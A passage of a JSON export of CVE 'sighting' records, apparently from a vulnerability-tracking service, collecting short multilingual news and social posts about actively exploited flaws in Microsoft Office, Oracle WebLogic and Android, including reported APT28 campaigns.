"https://t.me/ZerodayAlert/609", "content": "\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u0432\u0435\u0441\u044c \u043f\u0430\u043a\u0435\u0442 Microsoft Office\n\n\u26a0\ufe0f \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2026-21509 \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: Office 2016, 2019, LTSC 2021, LTSC 2024 \u0438 Microsoft 365 Apps for Enterprise.\n\n\ud83d\udd04 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Office 2021 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0442 \u0437\u0430\u0449\u0438\u0442\u0443 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0414\u043b\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432 Office 2016 \u0438 2019 \u043f\u0430\u0442\u0447\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438 \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043f\u043e\u0437\u0434\u043d\u0435\u0435.\n\n\ud83d\udee1 Microsoft \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0447\u0435\u0440\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 Windows \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Office. \u0421\u0443\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0445\u043e\u0434\u0435 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 COM \u0438 OLE, \u0430\u0442\u0430\u043a\u0430 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n#microsoft #office #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:09.504656Z"}, {"uuid": "859be628-7a26-4494-96c1-76e3ad785605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/ZerodayAlert/613", "content": "\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Office \u0441\u0442\u0430\u043b\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0430\u0442\u0430\u043a APT28\n\n\u26a1\ufe0f \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 APT28 \u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21509 \u0432 Microsoft Office \u0443\u0436\u0435 \u0447\u0435\u0440\u0435\u0437 3 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u0435\u0451 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f. \u041f\u043e\u0434 \u0443\u0434\u0430\u0440 \u043f\u043e\u043f\u0430\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432 \u0423\u043a\u0440\u0430\u0438\u043d\u0435, \u0421\u043b\u043e\u0432\u0430\u043a\u0438\u0438 \u0438 \u0420\u0443\u043c\u044b\u043d\u0438\u0438 \u2014 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u043b\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 60 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u043e\u0432.\n\n\ud83d\udd27 \u0410\u0442\u0430\u043a\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0442\u0438\u043f\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432 RTF-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445. \u041f\u0435\u0440\u0432\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 MiniDoor \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u043f\u0438\u0441\u0435\u043c \u0438\u0437 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u044f\u0449\u0438\u043a\u043e\u0432, \u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u2014 PixyNetLoader \u2014 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Covenant.\n\n\ud83c\udfad \u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044e \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 PNG-\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u0421\u0435\u0440\u0432\u0435\u0440\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0433\u0435\u043e\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0436\u0435\u0440\u0442\u0432\u0430\u043c \u0438\u0437 \u043d\u0443\u0436\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d.\n\n#apt28 #microsoft #zeroday #\u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u044b \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:09.595951Z"}, {"uuid": "dd0e52af-5912-480c-9590-3a381df7310a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mtv7l64fvg2m", "content": "Oracle has gifted us CVE-2026-21962, a pristine CVSS 10.0 blunder in HTTP and WebLogic Servers that lets unauthenticated remote visitors gleefully butcher or delete critical enterprise data. Attackers are actively pillaging exposed instances and honeypots across the globe, provin...\n\nRead full story", "creation_timestamp": "2026-08-25T06:40:52.373669Z"}, {"uuid": "10b2640b-5195-4ec1-ad3b-5610247f91a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mtvanl2ykk2m", "content": "Oracle WebLogic Server/HTTP Server\u306e\u8106\u5f31\u6027\uff08CVE-2026-21962\uff09\u304c\u5b9f\u8a3c\u3055\u308c\u3001\u8a8d\u8a3c\u306a\u3057\u3067\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3055\u308c\u6a5f\u5bc6\u30c7\u30fc\u30bf\u304c\u6f0f\u6d29\u3059\u308b\u6050\u308c\u304c\u3042\u308a\u307e\u3059\u3002", "creation_timestamp": "2026-08-25T07:00:08.575243Z"}, {"uuid": "9d1c7431-1484-416b-aa78-fe2c5e8d3153", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://thehackernews.com/2026/08/actively-exploited-oracle-weblogic-flaw.html", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added a maximum-severity security flaw impacting Oracle HTTP Server and Oracle WebLogic Server to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.\n\nThe vulnerability, tracked as CVE-2026-21962 (CVSS score: 10.0), allows an unauthenticated attacker with network access via HTTP to", "creation_timestamp": "2026-08-25T07:00:34.336740Z"}, {"uuid": "5bcb0dba-590e-4a0b-91b2-715cfce6c6c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/sec-news-bot.bsky.social/post/3mtvapq4mtr2q", "content": "Oracle WebLogic \u306e\u672a\u8a8d\u8a3cRCE\u8106\u5f31\u6027\u304c\u60aa\u7528\u4e2d \u2014 CVE-2026-21962\n\nCISA \u304c CVE-2026-21962 \u3092\u60aa\u7528\u5bfe\u8c61\u30ea\u30b9\u30c8\u306b\u8ffd\u52a0\u3002Oracle WebLogic \u306e\u8a8d\u8a3c\u306a\u3057\u3067\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u306a\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u91cd\u8981\u30c7\u30fc\u30bf\u306e\u9732\u51fa\u30fb\u6539\u3056\u3093\u304c\u53ef\u80fd\u3002\u5373\u5ea7\u306e\u30d1\u30c3\u30c1\u9069\u7528\u304c\u5fc5\u9808\u3067\u3059\u3002\n\n#CVE #\u8106\u5f31\u6027 #\u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3", "creation_timestamp": "2026-08-25T07:01:19.661393Z"}, {"uuid": "dd4f7969-0d32-497f-a5be-64e97956f50d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/prexclusiv.bsky.social/post/3mtvaymxecs2e", "content": "\ud83d\udea8 Security Alert (CVSS 10.0)\nCISA warnt: Kritische Schwachstelle in Oracle HTTP Server & WebLogic (CVE-2026-21962). Angreifer k\u00f6nnen Systeme ohne Auth kompromittieren. PoC existiert.\nPatches aus dem Jan-CPU sofort einspielen!\n#ITSecurity #Oracle #CISA #SysAdmin", "creation_timestamp": "2026-08-25T07:06:18.337404Z"}, {"uuid": "4997026b-9e8e-4858-900c-eac411b1b91b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/ZerodayAlert/613", "content": "\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Office \u0441\u0442\u0430\u043b\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0430\u0442\u0430\u043a APT28\n\n\u26a1\ufe0f \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 APT28 \u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21509 \u0432 Microsoft Office \u0443\u0436\u0435 \u0447\u0435\u0440\u0435\u0437 3 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u0435\u0451 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f. \u041f\u043e\u0434 \u0443\u0434\u0430\u0440 \u043f\u043e\u043f\u0430\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432 \u0423\u043a\u0440\u0430\u0438\u043d\u0435, \u0421\u043b\u043e\u0432\u0430\u043a\u0438\u0438 \u0438 \u0420\u0443\u043c\u044b\u043d\u0438\u0438 \u2014 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u043b\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 60 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u043e\u0432.\n\n\ud83d\udd27 \u0410\u0442\u0430\u043a\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0442\u0438\u043f\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432 RTF-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445. \u041f\u0435\u0440\u0432\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 MiniDoor \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u043f\u0438\u0441\u0435\u043c \u0438\u0437 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u044f\u0449\u0438\u043a\u043e\u0432, \u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u2014 PixyNetLoader \u2014 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Covenant.\n\n\ud83c\udfad \u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044e \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 PNG-\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u0421\u0435\u0440\u0432\u0435\u0440\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0433\u0435\u043e\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0436\u0435\u0440\u0442\u0432\u0430\u043c \u0438\u0437 \u043d\u0443\u0436\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d.\n\n#apt28 #microsoft #zeroday #\u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u044b \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:33.158282Z"}, {"uuid": "8b959e82-6257-44bf-b4b7-3f3d1390cce4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-25)", "content": "", "creation_timestamp": "2026-07-26T10:15:38.871540Z"}, {"uuid": "7be706f5-0262-4b35-9d61-a68c106e756f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "exploited", "source": "https://t.me/ZerodayAlert/631", "content": "Zero Day \u0432 Android \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044f \u2013 CVE-2026-0006 \u2013 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Android. \u0418\u043c\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e, \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u0440\u0430\u0432 \u0438 \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21385, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Android, \u0443\u0436\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. Google \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u0444\u0430\u043a\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0430\u0442\u0430\u043a \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442.\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043b\u0435\u0436\u0438\u0442 \u0432 \u043e\u0441\u043d\u043e\u0432\u0435 Android, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0430 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0447\u0438\u043f\u0441\u0435\u0442\u043e\u0432 \u0438 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u043e\u0442 Arm, MediaTek, Qualcomm \u0438 Unisoc.\n\n#android #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:34.981603Z"}, {"uuid": "1f678e6c-29b5-4fb3-ac49-6bbdcb67b9c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21519", "type": "exploited", "source": "https://t.me/ZerodayAlert/615", "content": "\u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 Patch Tuesday: 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0448\u0435\u0441\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\n\n\ud83d\udd13 Microsoft \u0437\u0430\u043a\u0440\u044b\u043b\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0448\u0435\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438. \u0422\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0435\u0449\u0451 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\ud83e\ude9f \u0421\u0440\u0435\u0434\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f CVE-2026-21519 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430, \u0434\u0430\u044e\u0449\u0430\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u0440\u0430\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM. 